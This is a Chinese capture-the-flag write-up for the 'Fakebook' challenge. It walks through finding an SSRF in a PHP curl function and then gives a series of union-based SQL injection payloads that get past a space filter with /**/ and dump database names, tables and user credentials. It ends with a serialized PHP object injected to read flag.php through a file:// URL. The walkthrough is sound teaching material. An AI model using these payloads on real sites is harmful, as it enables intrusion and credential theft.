[网鼎杯 2018]Fakebook

发现登录框弱口令没有用

dirsearch扫描发现robots.txt

尝试访问

发现user.php.bak,打开看看  
function get($url)
  {
      $ch = curl_init();

      curl_setopt($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      $output = curl_exec($ch);
      $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
      if($httpCode == 404) {
          return 404;
      }
      curl_close($ch);
      return $output;
  }

很明显这里存在SSRF,可以利用起来进行任意文件读取

这是一个使用PHP编写的函数,其目的是通过cURL库执行HTTP GET请求并返回获取到的内容。以下是对该函数的解释:

  1. function get($url):这是一个PHP函数的定义,它命名为get,接受一个参数 $url,表示要发送GET请求的目标URL。
  2. $ch = curl_init();:创建一个cURL句柄,该句柄用于执行cURL相关的操作。
  3. curl_setopt($ch, CURLOPT_URL, $url);:设置cURL选项,指定要请求的URL。
  4. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);:设置cURL选项,将返回的数据以字符串形式返回而不是直接输出。
  5. $output = curl_exec($ch);:执行cURL会话并将结果存储在 $output 变量中。
  6. $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);:获取HTTP响应码。
  7. if($httpCode == 404) { return 404; }:如果HTTP响应码为404(资源未找到),则直接返回404。
  8. curl_close($ch);:关闭cURL会话。
  9. return $output;:将从服务器获取的内容作为函数的返回值。

这个函数的作用是发送一个HTTP GET请求,获取目标URL的内容,并在特定情况下处理404响应。

注册一个账户登录,发现在?no存在注入 接下来就是常规注入,唯一需要注意的就是这里的注入点过滤了空格,使用/**/
?no=1 order by 4

?no=-1 union/**/select/**/1,2,3,4

?no=-1 union/**/select/**/1,group_concat(schema_name),3,4/**/from/**/information_schema.schemata

?no=-1 union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'

?no=-1 union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'

?no=-1 union/**/select/**/1,group_concat(no,'~',username,'~',passwd,'~',data),3,4/**/from/**/fakebook.users

image-20240120225028952

可以发现data字段存放的就是序列化字符串,在使用的时候应该就会调用进行data字段进行反序列化操作

而且根据报错这里也知道了绝对路劲是/var/www/html/

构造反序列化POC
<?php
class UserInfo
{
  public $name = "swq";
  public $age = 18;
  public $blog = "file:///var/www/html/flag.php";

}
$res = new UserInfo();
echo serialize($res);

O:8:"UserInfo":3:{s:4:"name";s:3:"swq";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

根据之前的注入可知,data对应应该就是第四个字段为,将反序列化字符串尝试以注入的方式写入

?no=-1 union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"swq";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
image-20240120225319083

查看源码,点击链接